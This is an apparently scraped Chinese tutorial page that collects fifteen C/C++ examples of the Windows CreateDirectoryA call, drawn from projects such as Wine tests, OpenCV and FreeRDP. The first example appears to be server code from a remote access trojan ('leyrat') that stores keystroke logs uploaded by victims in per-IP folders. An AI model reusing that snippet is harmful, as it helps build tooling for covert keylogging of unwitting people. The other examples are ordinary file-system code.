本文整理汇总了C++中CreateDirectoryA函数的典型用法代码示例。如果您正苦于以下问题:C++ CreateDirectoryA函数的具体用法?C++ CreateDirectoryA怎么用?C++ CreateDirectoryA使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了CreateDirectoryA函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。
示例1: Log
void leyrat::Callback_KeyLog(const char *ip, char*keylog)
{
Log("[R][%s] Uploaded KeyLog!\n", ip);
CreateDirectoryA(ip, 0);
time_t rawtime;
tm* timeinfo;
time (&rawtime);
timeinfo = localtime (&rawtime);
char sdate[50];
strftime(sdate, 50, "%F", timeinfo);
std::string sfilename = ip;
sfilename.append("/");
sfilename.append("keylog_");
sfilename.append(sdate);
sfilename.append(".txt");
Log("[R][%s] Writing file to: %s\n", ip, sfilename.c_str());
FILE* f = fopen(sfilename.c_str(), "a+b");
if(!f)
{
f = fopen(sfilename.c_str(), "wb");
}
if(!f)
return;
fwrite(keylog, sizeof(char), strlen(keylog), f);
fclose(f);
}
示例2: CCLOG
void AssetsUpdateLayer::createDownloadedDir()
{
m_pathToSave = CCFileUtils::sharedFileUtils()->getWritablePath();
m_pathToSave += "loaddir/";
CCLOG("writable path[%s]", m_pathToSave.c_str());
getAssetsManager()->setStoragePath(m_pathToSave.c_str());
#if (CC_TARGET_PLATFORM != CC_PLATFORM_WIN32)
DIR *pDir = NULL;
pDir = opendir (m_pathToSave.c_str());
if (! pDir)
{
mkdir(m_pathToSave.c_str(), S_IRWXU | S_IRWXG | S_IRWXO);
}
#else
if ((GetFileAttributesA(m_pathToSave.c_str())) == INVALID_FILE_ATTRIBUTES)
{
CreateDirectoryA(m_pathToSave.c_str(), 0);
}
#endif
}
示例3: while
bool FilesDownload::downloadList()
{
string base = "http://" + host + "/" + path;
// On parcours la liste
for (size_t i = 0; i < filesToDownload.size(); i++) {
string file = filesToDownload[i];
size_t pos;
string link;
while( (pos = file.find("/")) != string::npos ) {
link += file.substr(0, pos);
if (!dirExists(link))
CreateDirectoryA(link.c_str(), NULL);
link += "/";
file.erase(0, pos + 1);
}
link += file;
// On télécharge le fichier
if (!Download::download(base + link, link)) {
printf("Erreur download: %s", link.c_str());
return false;
}
}
return true;
}
示例4: time
void SessionServer::InitializeFileLogger()
{
time_t curTime = time(NULL);
tm curTM;
localtime_s(&curTM, &curTime);
if (!m_logWriter)
{
std::string filePath = s_defaultLogBaseLocation;
filePath += "SharingServiceLogs";
filePath += "\\";
BOOL dirResult = CreateDirectoryA(filePath.c_str(), NULL);
if (dirResult || GetLastError() == ERROR_ALREADY_EXISTS)
{
// Either we succeeded in creating the directory or it already exists.
std::string fileName = "SharingService_";
fileName += std::to_string(curTM.tm_year + 1900);
fileName += std::to_string(curTM.tm_mon + 1);
fileName += std::to_string(curTM.tm_mday);
fileName += ".log";
std::string fullPath = filePath + GetLogFileName(curTM);
m_logWriter = new FileLogWriter();
m_logWriter->AddTargetFile(fullPath);
}
}
m_logger = new Logger();
m_logger->SetWriter(m_logWriter);
std::string curTimeString = GetCurrentDateTimeString(curTM);
LogInfo(" ** Logging Session Began at %s", curTimeString.c_str());
}
示例5: MakeSureDirectoryPathExists
/***********************************************************************
* MakeSureDirectoryPathExists ([email protected])
*/
BOOL WINAPI MakeSureDirectoryPathExists(PCSTR DirPath)
{
char path[MAX_PATH];
const char *p = DirPath;
int n;
if (p[0] && p[1] == ':') p += 2;
while (*p == '\\') p++; /* skip drive root */
while ((p = strchr(p, '\\')) != NULL)
{
n = p - DirPath + 1;
memcpy(path, DirPath, n);
path[n] = '\0';
if( !CreateDirectoryA(path, NULL) &&
(GetLastError() != ERROR_ALREADY_EXISTS))
return FALSE;
p++;
}
if (GetLastError() == ERROR_ALREADY_EXISTS)
SetLastError(ERROR_SUCCESS);
return TRUE;
}
示例6: test_LaunchINFSection
static void test_LaunchINFSection(void)
{
HRESULT hr;
char cmdline[MAX_PATH];
static char file[] = "test.inf,DefaultInstall,4,0";
/* The 'No UI' flag seems to have no effect whatsoever on Windows.
* So only do this test in interactive mode.
*/
if (winetest_interactive)
{
/* try an invalid cmdline */
hr = pLaunchINFSection(NULL, NULL, NULL, 0);
ok(hr == 1, "Expected 1, got %d\n", hr);
}
CreateDirectoryA("one", NULL);
create_inf_file("one\\test.inf");
/* try a full path to the INF */
lstrcpy(cmdline, CURR_DIR);
lstrcat(cmdline, "\\");
lstrcat(cmdline, "one\\test.inf,DefaultInstall,,4");
hr = pLaunchINFSection(NULL, NULL, cmdline, 0);
ok(hr == 0, "Expected 0, got %d\n", hr);
DeleteFileA("one\\test.inf");
RemoveDirectoryA("one");
create_inf_file("test.inf");
/* try just the INF filename */
hr = pLaunchINFSection(NULL, NULL, file, 0);
ok(hr == 0, "Expected 0, got %d\n", hr);
DeleteFileA("test.inf");
}
示例7: CreateDirectoryA
bool GameDeploymentUtil::createDirectory( const std::string& dir )
{
Array< std::string > pathElements;
StringUtils::tokenize( dir, "/\\", pathElements );
std::string currentPath = pathElements[0];
uint count = pathElements.size();
for( uint i = 1; i < count; ++i )
{
currentPath += "\\" + pathElements[i];
bool result = CreateDirectoryA( currentPath.c_str(), NULL );
if ( !result )
{
DWORD errCode = GetLastError();
if ( errCode != ERROR_ALREADY_EXISTS )
{
// the directory couldn't be created for some reason
return false;
}
}
}
return true;
}
示例8: createDirectory
bool createDirectory(const cv::String& path)
{
CV_INSTRUMENT_REGION();
#if defined WIN32 || defined _WIN32 || defined WINCE
#ifdef WINRT
wchar_t wpath[MAX_PATH];
size_t copied = mbstowcs(wpath, path.c_str(), MAX_PATH);
CV_Assert((copied != MAX_PATH) && (copied != (size_t)-1));
int result = CreateDirectoryA(wpath, NULL) ? 0 : -1;
#else
int result = _mkdir(path.c_str());
#endif
#elif defined __linux__ || defined __APPLE__ || defined __HAIKU__ || defined __FreeBSD__
int result = mkdir(path.c_str(), 0777);
#else
int result = -1;
#endif
if (result == -1)
{
return isDirectory(path);
}
return true;
}
示例9: VDCreateDirectory
void VDCreateDirectory(const wchar_t *path) {
// can't create dir with trailing slash
VDStringW::size_type l(wcslen(path));
if (l) {
const wchar_t c = path[l-1];
if (c == L'/' || c == L'\\') {
VDCreateDirectory(VDStringW(path, l-1).c_str());
return;
}
}
BOOL succeeded;
if (!(GetVersion() & 0x80000000)) {
succeeded = CreateDirectoryW(path, NULL);
} else {
succeeded = CreateDirectoryA(VDTextWToA(path).c_str(), NULL);
}
if (!succeeded)
throw MyWin32Error("Cannot create directory: %%s", GetLastError());
}
示例10: cab_extract
std::string cab_extract(std::string cabfilepath)
{
string tmpdir = FileUtils::createTempFileName("JSMOOTHDIR");
CreateDirectoryA(tmpdir.c_str(), 0);
printf("Created %s\n", tmpdir.c_str());
if (!SetupIterateCabinet(cabfilepath.c_str(), 0, (PSP_FILE_CALLBACK)CabinetCallback, (void *)tmpdir.c_str()))
{
// DEBUG("Error extract cabinet)
// FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER |
// FORMAT_MESSAGE_FROM_SYSTEM |
// FORMAT_MESSAGE_IGNORE_INSERTS, NULL,
// GetLastError(), MAKELANGID(LANG_NEUTRAL,
// SUBLANG_DEFAULT), (LPTSTR) &lpMsgBuf, 0, NULL );
// MessageBox( NULL,(LPTSTR) lpMsgBuf,
// "SetupIterateCabinet() Error :",
// MB_OK | MB_ICONEXCLAMATION | MB_TOPMOST);
printf("Error extracting the cab %s\n", cabfilepath.c_str());
}
return tmpdir;
}
示例11: createDir
bool createDir(std::string dirName) {
if(!fileExists(dirName.c_str(), true))
return CreateDirectoryA(dirName.c_str(), 0)!=0;
return true;
}
示例12: createDirectory
bool
createDirectory(const String &path)
{
return CreateDirectoryA(path, NULL);
}
示例13: test_AddDelBackupEntry
static void test_AddDelBackupEntry(void)
{
BOOL ret;
HRESULT res;
CHAR path[MAX_PATH];
CHAR windir[MAX_PATH];
lstrcpyA(path, CURR_DIR);
lstrcatA(path, "\\backup\\basename.INI");
/* native AddDelBackupEntry crashes if lpcszBaseName is NULL */
/* try a NULL file list */
res = pAddDelBackupEntry(NULL, "backup", "basename", AADBE_ADD_ENTRY);
ok(res == S_OK, "Expected S_OK, got %d\n", res);
ok(!DeleteFileA(path), "Expected path to not exist\n");
lstrcpyA(path, CURR_DIR);
lstrcatA(path, "\\backup\\.INI");
/* try an empty base name */
res = pAddDelBackupEntry("one\0two\0three\0", "backup", "", AADBE_ADD_ENTRY);
ok(res == S_OK, "Expected S_OK, got %d\n", res);
ok(!DeleteFileA(path), "Expected path to not exist\n");
lstrcpyA(path, CURR_DIR);
lstrcatA(path, "\\basename.INI");
/* try an invalid flag */
res = pAddDelBackupEntry("one\0two\0three\0", NULL, "basename", 0);
ok(res == S_OK, "Expected S_OK, got %d\n", res);
ok(!DeleteFileA(path), "Expected path to not exist\n");
lstrcpyA(path, "c:\\basename.INI");
/* create the INF file */
res = pAddDelBackupEntry("one\0two\0three\0", "c:\\", "basename", AADBE_ADD_ENTRY);
ok(res == S_OK, "Expected S_OK, got %d\n", res);
if (GetFileAttributes(path) != INVALID_FILE_ATTRIBUTES)
{
ok(check_ini_file_attr(path), "Expected ini file to be hidden\n");
ok(DeleteFileA(path), "Expected path to exist\n");
}
else
win_skip("Test file could not be created\n");
lstrcpyA(path, CURR_DIR);
lstrcatA(path, "\\backup\\basename.INI");
/* try to create the INI file in a nonexistent directory */
RemoveDirectoryA("backup");
res = pAddDelBackupEntry("one\0two\0three\0", "backup", "basename", AADBE_ADD_ENTRY);
ok(res == S_OK, "Expected S_OK, got %d\n", res);
ok(!check_ini_file_attr(path), "Expected ini file to not be hidden\n");
ok(!DeleteFileA(path), "Expected path to not exist\n");
/* try an existent, relative backup directory */
CreateDirectoryA("backup", NULL);
res = pAddDelBackupEntry("one\0two\0three\0", "backup", "basename", AADBE_ADD_ENTRY);
ok(res == S_OK, "Expected S_OK, got %d\n", res);
ok(check_ini_file_attr(path), "Expected ini file to be hidden\n");
ok(DeleteFileA(path), "Expected path to exist\n");
RemoveDirectoryA("backup");
GetWindowsDirectoryA(windir, sizeof(windir));
sprintf(path, "%s\\basename.INI", windir);
/* try a NULL backup dir, INI is created in the windows directory */
res = pAddDelBackupEntry("one\0two\0three\0", NULL, "basename", AADBE_ADD_ENTRY);
ok(res == S_OK, "Expected S_OK, got %d\n", res);
/* remove the entries with AADBE_DEL_ENTRY */
SetFileAttributesA(path, FILE_ATTRIBUTE_NORMAL);
res = pAddDelBackupEntry("one\0three\0", NULL, "basename", AADBE_DEL_ENTRY);
SetFileAttributesA(path, FILE_ATTRIBUTE_NORMAL);
ok(res == S_OK, "Expected S_OK, got %d\n", res);
ret = DeleteFileA(path);
ok(ret == TRUE ||
broken(ret == FALSE), /* win98 */
"Expected path to exist\n");
}
示例14: test_ExtractFiles
static void test_ExtractFiles(void)
{
HRESULT hr;
char destFolder[MAX_PATH];
lstrcpyA(destFolder, CURR_DIR);
lstrcatA(destFolder, "\\");
lstrcatA(destFolder, "dest");
/* try NULL cab file */
hr = pExtractFiles(NULL, destFolder, 0, NULL, NULL, 0);
ok(hr == E_INVALIDARG, "Expected E_INVALIDARG, got %d\n", hr);
ok(RemoveDirectoryA("dest"), "Expected dest to exist\n");
/* try NULL destination */
hr = pExtractFiles("extract.cab", NULL, 0, NULL, NULL, 0);
ok(hr == E_INVALIDARG, "Expected E_INVALIDARG, got %d\n", hr);
ok(!RemoveDirectoryA("dest"), "Expected dest to not exist\n");
/* extract all files in the cab to nonexistent destination directory */
hr = pExtractFiles("extract.cab", destFolder, 0, NULL, NULL, 0);
ok(hr == HRESULT_FROM_WIN32(ERROR_PATH_NOT_FOUND) ||
hr == E_FAIL, /* win95 */
"Expected %08x or %08x, got %08x\n", E_FAIL,
HRESULT_FROM_WIN32(ERROR_PATH_NOT_FOUND), hr);
ok(!DeleteFileA("dest\\a.txt"), "Expected dest\\a.txt to not exist\n");
ok(!DeleteFileA("dest\\testdir\\c.txt"), "Expected dest\\testdir\\c.txt to not exist\n");
ok(!RemoveDirectoryA("dest\\testdir"), "Expected dest\\testdir to not exist\n");
ok(!RemoveDirectoryA("dest"), "Expected dest to not exist\n");
/* extract all files in the cab to the destination directory */
CreateDirectoryA("dest", NULL);
hr = pExtractFiles("extract.cab", destFolder, 0, NULL, NULL, 0);
ok(hr == S_OK, "Expected S_OK, got %d\n", hr);
ok(DeleteFileA("dest\\a.txt"), "Expected dest\\a.txt to exist\n");
ok(DeleteFileA("dest\\b.txt"), "Expected dest\\b.txt to exist\n");
ok(DeleteFileA("dest\\testdir\\c.txt"), "Expected dest\\testdir\\c.txt to exist\n");
ok(DeleteFileA("dest\\testdir\\d.txt"), "Expected dest\\testdir\\d.txt to exist\n");
ok(RemoveDirectoryA("dest\\testdir"), "Expected dest\\testdir to exist\n");
/* extract all files to a relative destination directory */
hr = pExtractFiles("extract.cab", "dest", 0, NULL, NULL, 0);
ok(hr == S_OK, "Expected S_OK, got %d\n", hr);
ok(DeleteFileA("dest\\a.txt"), "Expected dest\\a.txt to exist\n");
ok(DeleteFileA("dest\\b.txt"), "Expected dest\\b.txt to exist\n");
ok(DeleteFileA("dest\\testdir\\c.txt"), "Expected dest\\testdir\\c.txt to exist\n");
ok(DeleteFileA("dest\\testdir\\d.txt"), "Expected dest\\testdir\\d.txt to exist\n");
ok(RemoveDirectoryA("dest\\testdir"), "Expected dest\\testdir to exist\n");
/* only extract two of the files from the cab */
hr = pExtractFiles("extract.cab", "dest", 0, "a.txt:testdir\\c.txt", NULL, 0);
ok(hr == S_OK, "Expected S_OK, got %d\n", hr);
ok(DeleteFileA("dest\\a.txt"), "Expected dest\\a.txt to exist\n");
ok(DeleteFileA("dest\\testdir\\c.txt"), "Expected dest\\testdir\\c.txt to exist\n");
ok(RemoveDirectoryA("dest\\testdir"), "Expected dest\\testdir to exist\n");
ok(!DeleteFileA("dest\\b.txt"), "Expected dest\\b.txt to not exist\n");
ok(!DeleteFileA("dest\\testdir\\d.txt"), "Expected dest\\testdir\\d.txt to not exist\n");
/* use valid chars before and after file list */
hr = pExtractFiles("extract.cab", "dest", 0, " :\t: a.txt:testdir\\c.txt \t:", NULL, 0);
ok(hr == S_OK, "Expected S_OK, got %d\n", hr);
ok(DeleteFileA("dest\\a.txt"), "Expected dest\\a.txt to exist\n");
ok(DeleteFileA("dest\\testdir\\c.txt"), "Expected dest\\testdir\\c.txt to exist\n");
ok(RemoveDirectoryA("dest\\testdir"), "Expected dest\\testdir to exist\n");
ok(!DeleteFileA("dest\\b.txt"), "Expected dest\\b.txt to not exist\n");
ok(!DeleteFileA("dest\\testdir\\d.txt"), "Expected dest\\testdir\\d.txt to not exist\n");
/* use invalid chars before and after file list */
hr = pExtractFiles("extract.cab", "dest", 0, " +-\\ a.txt:testdir\\c.txt a_:", NULL, 0);
ok(hr == E_FAIL, "Expected E_FAIL, got %d\n", hr);
ok(!DeleteFileA("dest\\a.txt"), "Expected dest\\a.txt to not exist\n");
ok(!DeleteFileA("dest\\testdir\\c.txt"), "Expected dest\\testdir\\c.txt to not exist\n");
ok(!RemoveDirectoryA("dest\\testdir"), "Expected dest\\testdir to not exist\n");
/* try an empty file list */
hr = pExtractFiles("extract.cab", "dest", 0, "", NULL, 0);
ok(hr == E_FAIL, "Expected E_FAIL, got %d\n", hr);
ok(!DeleteFileA("dest\\a.txt"), "Expected dest\\a.txt to not exist\n");
ok(!RemoveDirectoryA("dest\\testdir"), "Expected dest\\testdir to not exist\n");
/* try a nonexistent file in the file list */
hr = pExtractFiles("extract.cab", "dest", 0, "a.txt:idontexist:testdir\\c.txt", NULL, 0);
ok(hr == E_FAIL, "Expected E_FAIL, got %d\n", hr);
ok(!DeleteFileA("dest\\a.txt"), "Expected dest\\a.txt to not exist\n");
ok(!DeleteFileA("dest\\testdir\\c.txt"), "Expected dest\\testdir\\c.txt to not exist\n");
ok(!RemoveDirectoryA("dest\\testdir"), "Expected dest\\testdir to not exist\n");
}
示例15: CreateNamedPipeA
HANDLE CreateNamedPipeA(LPCSTR lpName, DWORD dwOpenMode, DWORD dwPipeMode, DWORD nMaxInstances,
DWORD nOutBufferSize, DWORD nInBufferSize, DWORD nDefaultTimeOut, LPSECURITY_ATTRIBUTES lpSecurityAttributes)
{
int status;
HANDLE hNamedPipe;
char* lpPipePath;
unsigned long flags;
struct sockaddr_un s;
WINPR_NAMED_PIPE* pNamedPipe;
if (!lpName)
return INVALID_HANDLE_VALUE;
pNamedPipe = (WINPR_NAMED_PIPE*) malloc(sizeof(WINPR_NAMED_PIPE));
hNamedPipe = (HANDLE) pNamedPipe;
WINPR_HANDLE_SET_TYPE(pNamedPipe, HANDLE_TYPE_NAMED_PIPE);
pNamedPipe->name = _strdup(lpName);
pNamedPipe->dwOpenMode = dwOpenMode;
pNamedPipe->dwPipeMode = dwPipeMode;
pNamedPipe->nMaxInstances = nMaxInstances;
pNamedPipe->nOutBufferSize = nOutBufferSize;
pNamedPipe->nInBufferSize = nInBufferSize;
pNamedPipe->nDefaultTimeOut = nDefaultTimeOut;
pNamedPipe->dwFlagsAndAttributes = dwOpenMode;
pNamedPipe->lpFileName = GetNamedPipeNameWithoutPrefixA(lpName);
pNamedPipe->lpFilePath = GetNamedPipeUnixDomainSocketFilePathA(lpName);
lpPipePath = GetNamedPipeUnixDomainSocketBaseFilePathA();
if (!PathFileExistsA(lpPipePath))
CreateDirectoryA(lpPipePath, 0);
free(lpPipePath);
pNamedPipe->clientfd = -1;
pNamedPipe->serverfd = socket(PF_LOCAL, SOCK_STREAM, 0);
if (0)
{
flags = fcntl(pNamedPipe->serverfd, F_GETFL);
flags = flags | O_NONBLOCK;
fcntl(pNamedPipe->serverfd, F_SETFL, flags);
}
ZeroMemory(&s, sizeof(struct sockaddr_un));
s.sun_family = AF_UNIX;
strcpy(s.sun_path, pNamedPipe->lpFilePath);
unlink(s.sun_path);
status = bind(pNamedPipe->serverfd, (struct sockaddr*) &s, sizeof(struct sockaddr_un));
if (status == 0)
{
status = listen(pNamedPipe->serverfd, 2);
if (status == 0)
{
UnixChangeFileMode(pNamedPipe->lpFilePath, 0xFFFF);
}
}
return hNamedPipe;
}